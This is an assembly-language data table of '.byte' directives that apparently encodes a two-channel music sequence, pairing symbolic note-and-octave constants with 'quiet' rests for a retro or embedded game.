.byte A_+O3, A_+O4
.byte quiet, quiet
.byte A_+O3, E_+O4
.byte A_+O3, quiet
.byte quiet, A_+O4
.byte quiet, quiet
.byte As+O4, Fs+O5
.byte quiet, quiet
.byte D_+O5, As+O5
.byte quiet, quiet
.byte G_+O5, Ds+O6
.byte quiet, quiet
.byte C_+O6, Gs+O6
.byte quiet, quiet
.byte D_+O6, As+O6
.byte quiet, quiet
.byte F_+O6, Cs+O7
.byte quiet, quiet
.byte As+O6, Fs+O7
.byte quiet, quiet
.byte D_+O7, As+O7
.byte quiet, quiet
.byte A_+O3, A_+O7
.byte A_+O3, D_+O7
.byte quiet, E_+O7
.byte quiet, A_+O6
.byte quiet, C_+O7
.byte quiet, quiet
.byte A_+O3, E_+O4
.byte quiet, quiet
.byte A_+O4, E_+O6
.byte A_+O4, quiet
.byte quiet, A_+O4
.byte quiet, quiet
.byte quiet, E_+O4
.byte quiet, quiet
.byte A_+O4, A_+O4
.byte quiet, quiet
.byte A_+O3, A_+O3
.byte A_+O3, quiet
.byte quiet, E_+O4
.byte quiet, quiet
.byte As+O4, As+O4
.byte quiet, As+O4
.byte A_+O3, E_+O4
.byte A_+O3, quiet
.byte quiet, E_+O6
.byte quiet, quiet
.byte A_+O4, A_+O4
.byte quiet, quiet
.byte A_+O3, E_+O4
.byte A_+O3, quiet
.byte quiet, A_+O4
.byte quiet, quiet
.byte quiet, A_+O3
.byte quiet, quiet
.byte A_+O3, E_+O4
.byte quiet, quiet
.byte A_+O4, A_+O4
.byte A_+O4, A_+O4
.byte quiet, E_+O4
.byte quiet, quiet
.byte quiet, E_+O6
.byte quiet, quiet
.byte A_+O3, A_+O4
.byte quiet, quiet
.byte A_+O3, E_+O4
.byte A_+O3, quiet
.byte quiet, A_+O4
.byte quiet, quiet
.byte A_+O3, quiet
.byte As+O3, quiet
.byte B_+O3, quiet
.byte C_+O4, quiet
.byte Cs+O4, quiet
.byte D_+O4, quiet
.byte Ds+O4, quiet
.byte E_+O4, quiet
.byte F_+O4, F_+O4
.byte Fs+O4, Fs+O4
.byte G_+O4, G_+O4
.byte Gs+O4, Gs+O4
.byte A_+O4, A_+O4
.byte As+O4, As+O4
.byte B_+O4, B_+O4
.byte C_+O5, C_+O5
.byte G_+O3, G_+O7
.byte G_+O3, C_+O7
.byte G_+O3, D_+O7
.byte G_+O3, G_+O6
.byte quiet, B_+O6
.byte quiet, quiet
.byte quiet, D_+O4
.byte quiet, quiet
.byte G_+O4, D_+O6
.byte G_+O4, quiet
.byte quiet, G_+O4
.byte quiet, quiet
.byte quiet, D_+O4
.byte quiet, quiet
.byte G_+O3, G_+O4
.byte quiet, quiet
.byte G_+O3, G_+O3
.byte G_+O3, quiet
.byte quiet, D_+O4
.byte quiet, quiet
.byte G_+O4, G_+O4
.byte quiet, quiet
.byte G_+O3, D_+O4
.byte G_+O3, quiet
.byte G_+O5, D_+O6
.byte G_+O5, quiet
.byte G_+O4, G_+O4
.byte quiet, quiet
.byte G_+O3, D_+O4
.byte G_+O3, quiet
.byte quiet, G_+O4
.byte quiet, quiet
.byte quiet, G_+O3
.byte quiet, quiet
.byte G_+O3, D_+O4
.byte G_+O3, quiet
.byte G_+O4, G_+O4
.byte G_+O4, quiet
.byte quiet, D_+O4
.byte quiet, quiet
.byte quiet, D_+O6
.byte quiet, quiet
.byte G_+O3, G_+O4
.byte quiet, quiet
.byte G_+O5, D_+O4
.byte G_+O5, quiet
.byte quiet, G_+O4
.byte quiet, quiet
.byte G_+O4, G_+O3
.byte G_+O4, quiet
.byte G_+O3, D_+O4
.byte quiet, quiet
.byte G_+O3, G_+O4
.byte quiet, quiet
.byte G_+O5, D_+O4
.byte quiet, quiet
.byte G_+O4, D_+O6
.byte quiet, quiet
.byte G_+O4, G_+O4
.byte quiet, quiet
.byte C_+O5, D_+O7
.byte quiet, G_+O6
.byte C_+O5, A_+O6
.byte quiet, quiet
.byte F_+O3, F_+O7
.byte F_+O3, A_+O6
.byte quiet, C_+O7
.byte quiet, F_+O6
.byte quiet, G_+O6
.byte quiet, quiet
.byte F_+O3, D_+O4
.byte quiet, quiet
.byte F_+O5, D_+O6
.byte F_+O5, quiet
.byte F_+O5, G_+O4
.byte quiet, quiet
.byte quiet, D_+O4
.byte quiet, quiet
.byte F_+O4, G_+O4
.byte F_+O4, quiet
.byte F_+O3, G_+O3
.byte F_+O3, quiet
.byte quiet, D_+O4
.byte quiet, quiet
.byte F_+O4, G_+O4
.byte F_+O4, quiet
.byte F_+O4, D_+O4
.byte F_+O4, quiet
.byte F_+O5, D_+O6
.byte F_+O5, quiet
.byte quiet, G_+O4
.byte quiet, quiet
.byte G_+O3, G_+O7
.byte G_+O3, C_+O7
.byte G_+O3, D_+O7
.byte G_+O3, G_+O6
.byte quiet, B_+O6
.byte quiet, quiet
.byte quiet, D_+O4
.byte quiet, quiet
.byte G_+O4, G_+O4
.byte G_+O4, quiet
.byte G_+O4, D_+O4
.byte G_+O4, quiet
.byte quiet, D_+O6
.byte quiet, quiet
.byte quiet, G_+O4
.byte quiet, quiet
.byte F_+O4, D_+O4
.byte F_+O4, quiet
.byte quiet, G_+O4
.byte quiet, quiet
.byte Fs+O8, Fs+O8
.byte quiet, quiet
.byte F_+O8, F_+O8
.byte quiet, quiet
.byte D_+O8, D_+O8
.byte quiet, quiet
.byte C_+O8, C_+O8
.byte quiet, quiet
.byte C_+O5, G_+O7
.byte B_+O4, quiet
.byte As+O4, F_+O7
.byte A_+O4, quiet
.byte Gs+O4, D_+O7
.byte G_+O4, quiet
.byte Fs+O4, C_+O7
.byte F_+O4, quiet
.byte D_+O3, D_+O3
.byte quiet, D_+O3
.byte C_+O4, D_+O3
.byte quiet, quiet
.byte A_+O4, A_+O4
.byte quiet, A_+O4
.byte quiet, quiet
.byte quiet, quiet
.byte C_+O5, D_+O3
.byte quiet, D_+O3
.byte A_+O4, quiet
.byte quiet, quiet
.byte F_+O5, F_+O5
.byte quiet, quiet
.byte C_+O5, quiet
.byte quiet, quiet
.byte D_+O3, D_+O3
.byte quiet, D_+O3
.byte F_+O5, quiet
.byte quiet, quiet
.byte A_+O4, D_+O3
.byte A_+O4, D_+O3
.byte quiet, quiet
.byte quiet, quiet
.byte G_+O5, G_+O5
.byte quiet, quiet
.byte A_+O4, quiet
.byte quiet, quiet
.byte F_+O5, D_+O3
.byte quiet, D_+O3
.byte D_+O3, quiet
.byte quiet, quiet
.byte A_+O4, quiet
.byte quiet, quiet
.byte F_+O5, quiet
.byte quiet, quiet
.byte A_+O4, D_+O3
.byte A_+O4, D_+O3
.byte quiet, quiet
.byte quiet, quiet
.byte C_+O5, C_+O5
.byte quiet, quiet
.byte A_+O4, quiet
.byte quiet, quiet
.byte F_+O5, D_+O3
.byte quiet, D_+O3
.byte C_+O5, quiet
.byte quiet, quiet
.byte D_+O3, D_+O3
.byte quiet, D_+O3
.byte F_+O5, quiet
.byte quiet, quiet
.byte A_+O4, A_+O4
.byte A_+O4, quiet
.byte quiet, quiet
.byte quiet, quiet
.byte G_+O5, D_+O3
.byte quiet, D_+O3
.byte A_+O4, quiet
.byte quiet, quiet
.byte F_+O5, D_+O3
.byte quiet, D_+O3
.byte D_+O3, quiet
.byte quiet, quiet
.byte As+O3, As+O3
.byte quiet, As+O3
.byte F_+O5, As+O3
.byte quiet, quiet
.byte As+O4, As+O4
.byte As+O4, As+O4
.byte quiet, quiet
.byte quiet, quiet
.byte C_+O5, As+O3
.byte quiet, As+O3
.byte As+O4, quiet
.byte quiet, quiet
.byte F_+O5, F_+O5
.byte quiet, quiet
.byte C_+O5, quiet
.byte quiet, quiet
.byte As+O3, As+O3
.byte quiet, As+O3
.byte F_+O5, quiet
.byte quiet, quiet
.byte As+O4, As+O3
.byte As+O4, As+O3
.byte quiet, quiet
.byte quiet, quiet
.byte G_+O5, G_+O5
.byte quiet, quiet
.byte As+O4, quiet
.byte quiet, quiet
.byte F_+O5, As+O3
.byte quiet, As+O3
.byte As+O3, quiet
.byte As+O3, quiet
.byte quiet, quiet
.byte quiet, quiet
.byte F_+O5, quiet
.byte quiet, quiet
.byte As+O4, As+O3
.byte As+O4, As+O3
.byte quiet, quiet
.byte quiet, quiet
.byte C_+O5, C_+O5
.byte quiet, quiet
.byte As+O4, quiet
.byte quiet, quiet
.byte F_+O5, As+O3
.byte quiet, As+O3
.byte C_+O5, quiet
.byte quiet, quiet
.byte As+O3, As+O3
.byte quiet, As+O3
.byte F_+O5, quiet
.byte quiet, quiet
.byte As+O4, As+O4
.byte As+O4, As+O4
.byte quiet, quiet
.byte quiet, quiet
.byte G_+O5, As+O3
.byte quiet, As+O3
.byte As+O4, quiet
.byte quiet, quiet
.byte F_+O5, As+O3
.byte quiet, As+O3
.byte As+O3, As+O3
.byte quiet, As+O3
.byte D_+O3, D_+O3
.byte quiet, D_+O3
.byte F_+O5, D_+O3
.byte quiet, quiet
.byte A_+O4, A_+O4
.byte A_+O4, A_+O4
.byte quiet, quiet
.byte quiet, quiet
.byte C_+O5, D_+O3
.byte quiet, D_+O3
.byte A_+O4, quiet
.byte quiet, quiet
.byte F_+O5, F_+O5
.byte quiet, quiet
.byte C_+O5, quiet
.byte quiet, quiet
.byte D_+O3, D_+O3
.byte quiet, D_+O3
.byte F_+O5, quiet
.byte quiet, quiet
.byte A_+O4, D_+O3
.byte A_+O4, D_+O3
.byte quiet, quiet
.byte quiet, quiet
.byte G_+O5, G_+O5
.byte quiet, quiet
.byte A_+O4, quiet
.byte quiet, quiet
.byte F_+O5, D_+O3
.byte quiet, D_+O3
.byte D_+O3, quiet
.byte quiet, quiet
.byte A_+O4, quiet
.byte quiet, quiet
.byte F_+O5, quiet
.byte quiet, quiet
.byte A_+O4, D_+O3
.byte A_+O4, D_+O3
.byte quiet, quiet
.byte quiet, quiet
.byte C_+O5, C_+O5
.byte quiet, quiet
.byte A_+O4, quiet
.byte quiet, quiet
.byte F_+O5, D_+O3
.byte quiet, D_+O3
.byte C_+O5, quiet
.byte quiet, quiet
.byte D_+O3, D_+O3
.byte quiet, D_+O3
.byte F_+O5, quiet
.byte quiet, quiet
.byte A_+O4, A_+O4
.byte A_+O4, quiet
.byte quiet, quiet
.byte quiet, quiet
.byte G_+O5, D_+O3
.byte quiet, D_+O3
.byte A_+O4, quiet
.byte quiet, quiet
.byte F_+O5, D_+O3
.byte quiet, D_+O3
.byte D_+O3, quiet
.byte quiet, quiet
.byte As+O3, As+O3
.byte quiet, As+O3
.byte F_+O5, As+O3
.byte quiet, quiet
.byte As+O4, As+O4
.byte As+O4, As+O4
.byte quiet, quiet
.byte quiet, quiet
.byte C_+O5, As+O3
.byte quiet, As+O3
.byte As+O4, quiet
.byte quiet, quiet
.byte F_+O5, F_+O5
.byte quiet, quiet
.byte C_+O5, quiet
.byte quiet, quiet
.byte As+O3, As+O3
.byte quiet, As+O3
.byte F_+O5, quiet
.byte quiet, quiet
.byte As+O4, As+O3
.byte As+O4, As+O3
.byte quiet, quiet
.byte quiet, quiet
.byte G_+O5, G_+O5
.byte quiet, quiet
.byte As+O4, quiet
.byte quiet, quiet
.byte F_+O5, As+O3
.byte quiet, As+O3
.byte As+O3, quiet
.byte As+O3, quiet
.byte quiet, quiet
.byte quiet, quiet
.byte F_+O5, quiet
.byte quiet, quiet
.byte As+O4, As+O3
.byte As+O4, As+O3
.byte quiet, quiet
.byte quiet, quiet
.byte C_+O5, C_+O5
.byte quiet, quiet
.byte As+O4, quiet
.byte quiet, quiet
.byte F_+O5, As+O3
.byte quiet, As+O3
.byte C_+O5, quiet
.byte quiet, quiet
.byte As+O3, As+O3
.byte quiet, As+O3
.byte F_+O5, quiet
.byte quiet, quiet
.byte As+O4, As+O4
.byte As+O4, As+O4
.byte quiet, quiet
.byte quiet, quiet
.byte G_+O5, As+O3
.byte quiet, As+O3
.byte As+O4, quiet
.byte quiet, quiet
.byte F_+O5, As+O3
.byte quiet, As+O3
.byte As+O3, As+O3
.byte quiet, As+O3
.byte G_+O3, G_+O3
.byte G_+O3, G_+O3
.byte quiet, G_+O3
.byte quiet, quiet
.byte A_+O4, A_+O4
.byte A_+O4, A_+O4
.byte quiet, quiet
.byte quiet, quiet
.byte C_+O5, G_+O3
.byte quiet, G_+O3
.byte A_+O4, quiet
.byte quiet, quiet
.byte F_+O5, F_+O5
.byte quiet, F_+O5
.byte C_+O5, quiet
.byte quiet, quiet
.byte G_+O3, G_+O3
.byte quiet, G_+O3
.byte F_+O5, quiet
.byte quiet, quiet
.byte A_+O4, G_+O3
.byte A_+O4, G_+O3
.byte quiet, quiet
.byte quiet, quiet
.byte G_+O5, G_+O5
.byte quiet, G_+O5
.byte A_+O4, quiet
.byte quiet, quiet
.byte F_+O5, G_+O3
.byte F_+O5, G_+O3
.byte G_+O3, quiet
.byte quiet, quiet
.byte quiet, quiet
.byte quiet, quiet
.byte F_+O5, quiet
.byte quiet, quiet
.byte A_+O4, G_+O3
.byte A_+O4, G_+O3
.byte quiet, quiet
.byte quiet, quiet
.byte C_+O5, C_+O5
.byte quiet, C_+O5
.byte A_+O4, quiet
.byte quiet, quiet
.byte F_+O5, G_+O3
.byte F_+O5, G_+O3
.byte C_+O5, quiet
.byte quiet, quiet
.byte G_+O3, G_+O3
.byte quiet, G_+O3
.byte F_+O5, quiet
.byte quiet, quiet
.byte A_+O4, A_+O4
.byte A_+O4, A_+O4
.byte quiet, quiet
.byte quiet, quiet
.byte G_+O5, G_+O3
.byte G_+O5, G_+O3
.byte A_+O4, quiet
.byte quiet, quiet
.byte F_+O5, G_+O3
.byte F_+O5, G_+O3
.byte G_+O3, quiet
.byte quiet, quiet
.byte A_+O3, A_+O3
.byte quiet, A_+O3
.byte F_+O5, A_+O3
.byte quiet, quiet
.byte A_+O4, A_+O4
.byte A_+O4, A_+O4
.byte quiet, quiet
.byte quiet, quiet
.byte C_+O5, A_+O3
.byte quiet, A_+O3
.byte A_+O4, quiet
.byte quiet, quiet
.byte F_+O5, F_+O5
.byte quiet, F_+O5
.byte C_+O5, quiet
.byte quiet, quiet
.byte A_+O3, A_+O3
.byte quiet, A_+O3
.byte F_+O5, quiet
.byte quiet, quiet
.byte A_+O4, A_+O3
.byte A_+O4, A_+O3
.byte quiet, quiet
.byte quiet, quiet
.byte G_+O5, G_+O5
.byte quiet, G_+O5
.byte A_+O4, quiet
.byte quiet, quiet
.byte F_+O5, A_+O3
.byte F_+O5, A_+O3
.byte A_+O3, quiet
.byte quiet, quiet
.byte quiet, quiet
.byte quiet, quiet
.byte F_+O5, quiet
.byte quiet, quiet
.byte A_+O4, A_+O3
.byte A_+O4, A_+O3
.byte quiet, quiet
.byte quiet, quiet
.byte C_+O5, C_+O5
.byte quiet, C_+O5
.byte A_+O4, quiet
.byte quiet, quiet
.byte F_+O5, A_+O3
.byte quiet, A_+O3
.byte C_+O5, quiet
.byte quiet, quiet
.byte A_+O4, A_+O3
.byte quiet, A_+O3
.byte F_+O6, A_+O3
.byte quiet, A_+O3
.byte F_+O5, quiet
.byte quiet, quiet
.byte A_+O4, quiet
.byte quiet, quiet
.byte E_+O5, A_+O3
.byte quiet, A_+O3
.byte F_+O5, quiet
.byte quiet, quiet
.byte C_+O5, A_+O3
.byte quiet, A_+O3
.byte E_+O5, A_+O3
.byte quiet, A_+O3
.byte F_+O6, D_+O3
.byte quiet, D_+O3
.byte C_+O4, D_+O3
.byte quiet, quiet
.byte A_+O4, A_+O4
.byte quiet, A_+O4
.byte F_+O6, quiet
.byte quiet, quiet
.byte C_+O5, D_+O4
.byte quiet, D_+O4
.byte A_+O4, quiet
.byte quiet, quiet
.byte F_+O5, F_+O5
.byte quiet, F_+O5
.byte C_+O5, quiet
.byte quiet, quiet
.byte D_+O3, D_+O3
.byte quiet, D_+O3
.byte F_+O5, quiet
.byte quiet, quiet
.byte A_+O4, D_+O4
.byte quiet, D_+O4
.byte D_+O3, quiet
.byte quiet, quiet
.byte G_+O5, G_+O5
.byte quiet, G_+O5
.byte A_+O4, quiet
.byte quiet, quiet
.byte E_+O6, D_+O3
.byte quiet, D_+O3
.byte F_+O6, quiet
.byte quiet, quiet
.byte E_+O6, E_+O6
.byte quiet, E_+O6
.byte F_+O5, quiet
.byte quiet, quiet
.byte A_+O4, D_+O3
.byte quiet, D_+O3
.byte E_+O6, quiet
.byte quiet, quiet
.byte C_+O5, C_+O5
.byte quiet, C_+O5
.byte A_+O4, quiet
.byte quiet, quiet
.byte F_+O5, D_+O3
.byte quiet, D_+O3
.byte C_+O5, quiet
.byte quiet, quiet
.byte C_+O6, D_+O3
.byte quiet, D_+O3
.byte F_+O5, quiet
.byte quiet, quiet
.byte A_+O4, A_+O4
.byte quiet, A_+O4
.byte C_+O6, quiet
.byte quiet, quiet
.byte G_+O5, D_+O3
.byte quiet, D_+O3
.byte A_+O4, quiet
.byte quiet, quiet
.byte F_+O5, D_+O3
.byte quiet, D_+O3
.byte D_+O3, quiet
.byte quiet, quiet
.byte D_+O6, As+O3
.byte quiet, As+O3
.byte F_+O5, As+O3
.byte quiet, quiet
.byte As+O4, As+O4
.byte quiet, As+O4
.byte D_+O6, quiet
.byte Cs+O6, quiet
.byte C_+O6, As+O3
.byte B_+O5, As+O3
.byte As+O5, As+O3
.byte A_+O5, As+O3
.byte F_+O5, F_+O5
.byte quiet, F_+O5
.byte C_+O5, quiet
.byte quiet, quiet
.byte As+O3, As+O3
.byte quiet, As+O3
.byte F_+O5, As+O3
.byte quiet, As+O3
.byte As+O4, As+O3
.byte quiet, As+O3
.byte As+O3, As+O3
.byte quiet, As+O3
.byte G_+O5, G_+O5
.byte quiet, G_+O5
.byte As+O4, quiet
.byte quiet, quiet
.byte C_+O6, As+O3
.byte quiet, As+O3
.byte As+O3, As+O3
.byte quiet, As+O3
.byte F_+O5, A_+O5
.byte quiet, A_+O5
.byte F_+O5, quiet
.byte quiet, quiet
.byte As+O4, As+O3
.byte quiet, As+O3
.byte F_+O5, A_+O5
.byte quiet, A_+O5
.byte C_+O5, C_+O5
.byte quiet, C_+O5
.byte As+O4, quiet
.byte quiet, quiet
.byte F_+O5, As+O3
.byte quiet, As+O3
.byte C_+O5, quiet
.byte quiet, quiet
.byte As+O3, As+O3
.byte quiet, As+O3
.byte F_+O5, As+O3
.byte quiet, As+O3
.byte As+O4, As+O4
.byte quiet, As+O4
.byte As+O3, As+O4
.byte quiet, As+O4
.byte G_+O5, As+O3
.byte quiet, As+O3
.byte As+O4, quiet
.byte quiet, quiet
.byte F_+O5, As+O3
.byte quiet, As+O3
.byte D_+O6, As+O3
.byte E_+O6, As+O3
.byte F_+O6, D_+O3
.byte quiet, D_+O3
.byte C_+O4, D_+O3
.byte quiet, quiet
.byte A_+O4, A_+O4
.byte quiet, A_+O4
.byte F_+O6, quiet
.byte quiet, quiet
.byte C_+O5, D_+O3
.byte quiet, D_+O3
.byte A_+O4, D_+O3
.byte quiet, D_+O3
.byte F_+O5, F_+O5
.byte quiet, F_+O5
.byte C_+O5, quiet
.byte quiet, quiet
.byte D_+O3, D_+O3
.byte quiet, D_+O3
.byte F_+O5, quiet
.byte quiet, quiet
.byte A_+O4, D_+O3
.byte quiet, D_+O3
.byte D_+O3, D_+O3
.byte quiet, D_+O3
.byte G_+O5, G_+O5
.byte quiet, G_+O5
.byte A_+O4, quiet
.byte quiet, quiet
.byte E_+O6, D_+O3
.byte quiet, D_+O3
.byte F_+O6, D_+O3
.byte quiet, D_+O3
.byte E_+O6, E_+O6
.byte quiet, E_+O6
.byte F_+O5, quiet
.byte quiet, quiet
.byte A_+O4, D_+O3
.byte quiet, D_+O3
.byte E_+O6, D_+O3
.byte quiet, D_+O3
.byte C_+O5, C_+O5
.byte quiet, C_+O5
.byte A_+O4, quiet
.byte quiet, quiet
.byte F_+O5, D_+O3
.byte quiet, D_+O3
.byte C_+O5, D_+O3
.byte quiet, D_+O3
.byte C_+O7, D_+O3
.byte quiet, D_+O3
.byte F_+O5, D_+O3
.byte quiet, D_+O3
.byte A_+O4, A_+O4
.byte quiet, A_+O4
.byte C_+O7, quiet
.byte quiet, quiet
.byte G_+O5, D_+O3
.byte quiet, D_+O3
.byte A_+O4, quiet
.byte quiet, quiet
.byte F_+O5, D_+O3
.byte quiet, D_+O3
.byte D_+O3, D_+O3
.byte quiet, D_+O3
.byte D_+O7, D_+O7
.byte quiet, As+O3
.byte F_+O5, As+O3
.byte quiet, As+O3
.byte As+O4, As+O4
.byte quiet, As+O4
.byte D_+O7, quiet
.byte quiet, quiet
.byte C_+O5, As+O3
.byte quiet, As+O3
.byte As+O4, As+O3
.byte quiet, As+O3
.byte F_+O5, F_+O5
.byte quiet, F_+O5
.byte C_+O5, quiet
.byte quiet, quiet
.byte As+O3, As+O3
.byte quiet, As+O3
.byte F_+O5, As+O3
.byte quiet, As+O3
.byte As+O4, As+O3
.byte quiet, As+O3
.byte As+O3, As+O3
.byte quiet, As+O3
.byte G_+O5, G_+O5
.byte quiet, G_+O5
.byte As+O4, quiet
.byte quiet, quiet
.byte E_+O7, As+O3
.byte quiet, As+O3
.byte As+O3, As+O3
.byte quiet, As+O3
.byte F_+O7, F_+O7
.byte quiet, quiet
.byte F_+O5, quiet
.byte quiet, quiet
.byte As+O4, As+O3
.byte quiet, As+O3
.byte F_+O7, As+O3
.byte quiet, As+O3
.byte C_+O5, C_+O5
.byte quiet, C_+O5
.byte As+O4, quiet
.byte quiet, quiet
.byte F_+O5, As+O3
.byte quiet, As+O3
.byte C_+O5, quiet
.byte quiet, quiet
.byte E_+O7, E_+O7
.byte quiet, quiet
.byte C_+O7, C_+O7
.byte quiet, quiet
.byte A_+O6, A_+O6
.byte E_+O7, quiet
.byte F_+O6, F_+O6
.byte C_+O7, quiet
.byte E_+O6, E_+O6
.byte A_+O6, quiet
.byte C_+O6, C_+O6
.byte F_+O6, quiet
.byte A_+O5, A_+O5
.byte E_+O6, quiet
.byte C_+O6, C_+O6
.byte C_+O6, quiet
.byte D_+O6, G_+O3
.byte D_+O6, G_+O3
.byte F_+O5, G_+O3
.byte F_+O5, G_+O3
.byte A_+O4, A_+O4
.byte A_+O4, A_+O4
.byte D_+O6, quiet
.byte D_+O6, quiet
.byte C_+O5, G_+O3
.byte C_+O5, G_+O3
.byte A_+O4, G_+O3
.byte A_+O4, G_+O3
.byte F_+O5, F_+O5
.byte F_+O5, F_+O5
.byte C_+O5, quiet
.byte C_+O5, quiet
.byte G_+O3, G_+O3
.byte G_+O3, G_+O3
.byte G_+O3, quiet
.byte A_+O6, quiet
.byte As+O6, G_+O3
.byte As+O6, G_+O3
.byte G_+O3, G_+O3
.byte G_+O3, G_+O3
.byte G_+O5, G_+O5
.byte G_+O5, G_+O5
.byte As+O6, quiet
.byte As+O6, quiet
.byte F_+O5, G_+O3
.byte F_+O5, G_+O3
.byte G_+O3, G_+O3
.byte G_+O3, G_+O3
.byte A_+O6, A_+O6
.byte A_+O6, A_+O6
.byte F_+O5, quiet
.byte F_+O5, quiet
.byte A_+O4, G_+O3
.byte A_+O4, G_+O3
.byte A_+O6, G_+O3
.byte A_+O6, G_+O3
.byte C_+O5, C_+O5
.byte C_+O5, C_+O5
.byte A_+O4, quiet
.byte A_+O4, quiet
.byte F_+O5, G_+O3
.byte F_+O5, G_+O3
.byte C_+O5, G_+O3
.byte C_+O5, G_+O3
.byte F_+O6, G_+O3
.byte F_+O6, G_+O3
.byte F_+O5, G_+O3
.byte F_+O5, G_+O3
.byte A_+O4, A_+O4
.byte A_+O4, A_+O4
.byte F_+O6, quiet
.byte F_+O6, quiet
.byte G_+O5, G_+O3
.byte G_+O5, G_+O3
.byte A_+O4, quiet
.byte A_+O4, quiet
.byte F_+O5, G_+O3
.byte F_+O5, G_+O3
.byte G_+O3, G_+O3
.byte G_+O3, G_+O3
.byte G_+O6, A_+O3
.byte G_+O6, A_+O3
.byte F_+O5, A_+O3
.byte F_+O5, A_+O3
.byte A_+O4, A_+O4
.byte A_+O4, A_+O4
.byte G_+O6, quiet
.byte G_+O6, quiet
.byte C_+O5, A_+O3
.byte C_+O5, A_+O3
.byte A_+O4, A_+O3
.byte A_+O4, A_+O3
.byte F_+O5, F_+O5
.byte F_+O5, F_+O5
.byte C_+O5, quiet
.byte C_+O5, quiet
.byte A_+O3, A_+O3
.byte A_+O3, A_+O3
.byte F_+O5, A_+O3
.byte F_+O5, A_+O3
.byte A_+O4, A_+O3
.byte A_+O4, A_+O3
.byte quiet, A_+O3
.byte quiet, A_+O3
.byte G_+O5, G_+O5
.byte G_+O5, G_+O5
.byte A_+O4, quiet
.byte A_+O4, quiet
.byte A_+O3, A_+O3
.byte A_+O3, A_+O3
.byte A_+O3, A_+O3
.byte A_+O3, A_+O3
.byte C_+O6, C_+O6
.byte C_+O6, C_+O6
.byte F_+O5, quiet
.byte F_+O5, quiet
.byte A_+O4, A_+O3
.byte A_+O4, A_+O3
.byte C_+O6, A_+O3
.byte C_+O6, A_+O3
.byte C_+O5, C_+O5
.byte C_+O5, C_+O5
.byte quiet, C_+O5
.byte quiet, C_+O5
.byte F_+O5, A_+O3
.byte F_+O5, A_+O3
.byte C_+O5, quiet
.byte C_+O5, quiet
.byte A_+O3, A_+O3
.byte A_+O3, A_+O3
.byte F_+O5, A_+O3
.byte F_+O5, A_+O3
.byte F_+O4, quiet
.byte F_+O4, quiet
.byte A_+O3, quiet
.byte A_+O3, quiet
.byte E_+O4, A_+O3
.byte E_+O4, A_+O3
.byte F_+O4, quiet
.byte F_+O4, quiet
.byte A_+O6, A_+O3
.byte A_+O6, A_+O3
.byte As+O6, A_+O3
.byte As+O6, A_+O3
.byte C_+O7, G_+O3
.byte C_+O7, G_+O3
.byte C_+O4, G_+O3
.byte C_+O4, G_+O3
.byte A_+O4, A_+O4
.byte A_+O4, A_+O4
.byte C_+O7, quiet
.byte C_+O7, quiet
.byte C_+O5, G_+O3
.byte C_+O5, G_+O3
.byte A_+O4, G_+O3
.byte A_+O4, G_+O3
.byte F_+O5, F_+O5
.byte F_+O5, F_+O5
.byte C_+O5, quiet
.byte C_+O5, quiet
.byte G_+O3, G_+O3
.byte G_+O3, G_+O3
.byte F_+O5, quiet
.byte F_+O5, quiet
.byte F_+O6, G_+O3
.byte A_+O6, G_+O3
.byte As+O6, G_+O3
.byte As+O6, G_+O3
.byte G_+O5, G_+O5
.byte G_+O5, G_+O5
.byte A_+O6, quiet
.byte A_+O6, quiet
.byte quiet, G_+O3
.byte quiet, G_+O3
.byte As+O6, G_+O3
.byte As+O6, G_+O3
.byte A_+O6, A_+O6
.byte A_+O6, A_+O6
.byte F_+O5, quiet
.byte F_+O5, quiet
.byte A_+O4, G_+O3
.byte A_+O4, G_+O3
.byte A_+O6, G_+O3
.byte A_+O6, G_+O3
.byte C_+O5, C_+O5
.byte C_+O5, C_+O5
.byte A_+O4, quiet
.byte A_+O4, quiet
.byte F_+O5, G_+O3
.byte F_+O5, G_+O3
.byte C_+O5, G_+O3
.byte C_+O5, G_+O3
.byte F_+O6, G_+O3
.byte F_+O6, G_+O3
.byte F_+O5, G_+O3
.byte F_+O5, G_+O3
.byte A_+O4, A_+O4
.byte A_+O4, A_+O4
.byte F_+O6, quiet
.byte F_+O6, quiet
.byte G_+O5, G_+O3
.byte G_+O5, G_+O3
.byte A_+O4, quiet
.byte A_+O4, quiet
.byte F_+O5, G_+O3
.byte F_+O5, G_+O3
.byte E_+O6, G_+O3
.byte F_+O6, G_+O3
.byte G_+O6, A_+O3
.byte G_+O6, A_+O3
.byte F_+O5, A_+O3
.byte F_+O5, A_+O3
.byte A_+O4, A_+O4
.byte A_+O4, A_+O4
.byte G_+O6, quiet
.byte G_+O6, quiet
.byte C_+O5, A_+O3
.byte C_+O5, A_+O3
.byte A_+O4, A_+O3
.byte A_+O4, A_+O3
.byte F_+O5, F_+O5
.byte F_+O5, F_+O5
.byte C_+O5, quiet
.byte C_+O5, quiet
.byte A_+O3, A_+O3
.byte A_+O3, A_+O3
.byte F_+O5, A_+O3
.byte F_+O5, A_+O3
.byte A_+O4, A_+O3
.byte A_+O4, A_+O3
.byte quiet, A_+O3
.byte quiet, A_+O3
.byte G_+O5, G_+O5
.byte G_+O5, G_+O5
.byte A_+O4, quiet
.byte A_+O4, quiet
.byte G_+O6, A_+O3
.byte G_+O6, A_+O3
.byte A_+O6, A_+O3
.byte A_+O6, A_+O3
.byte E_+O7, E_+O7
.byte E_+O7, E_+O7
.byte F_+O5, quiet
.byte F_+O5, quiet
.byte A_+O4, A_+O3
.byte A_+O4, A_+O3
.byte E_+O7, A_+O3
.byte E_+O7, A_+O3
.byte C_+O5, C_+O5
.byte C_+O5, C_+O5
.byte quiet, C_+O5
.byte quiet, C_+O5
.byte F_+O5, A_+O3
.byte F_+O5, A_+O3
.byte C_+O5, quiet
.byte C_+O5, quiet
.byte C_+O7, A_+O3
.byte C_+O7, A_+O3
.byte F_+O5, A_+O3
.byte F_+O5, A_+O3
.byte F_+O4, quiet
.byte F_+O4, quiet
.byte C_+O7, quiet
.byte C_+O7, quiet
.byte E_+O4, A_+O3
.byte E_+O4, A_+O3
.byte F_+O4, quiet
.byte F_+O4, quiet
.byte C_+O4, A_+O3
.byte C_+O4, A_+O3
.byte E_+O4, A_+O3
.byte E_+O4, A_+O3
.byte D_+O6, D_+O3
.byte quiet, D_+O3
.byte C_+O4, D_+O3
.byte quiet, quiet
.byte A_+O4, A_+O4
.byte quiet, A_+O4
.byte D_+O6, quiet
.byte quiet, quiet
.byte C_+O5, D_+O3
.byte quiet, D_+O3
.byte A_+O4, quiet
.byte quiet, quiet
.byte F_+O5, F_+O5
.byte quiet, F_+O5
.byte C_+O5, quiet
.byte quiet, quiet
.byte D_+O3, D_+O3
.byte quiet, D_+O3
.byte F_+O5, quiet
.byte quiet, quiet
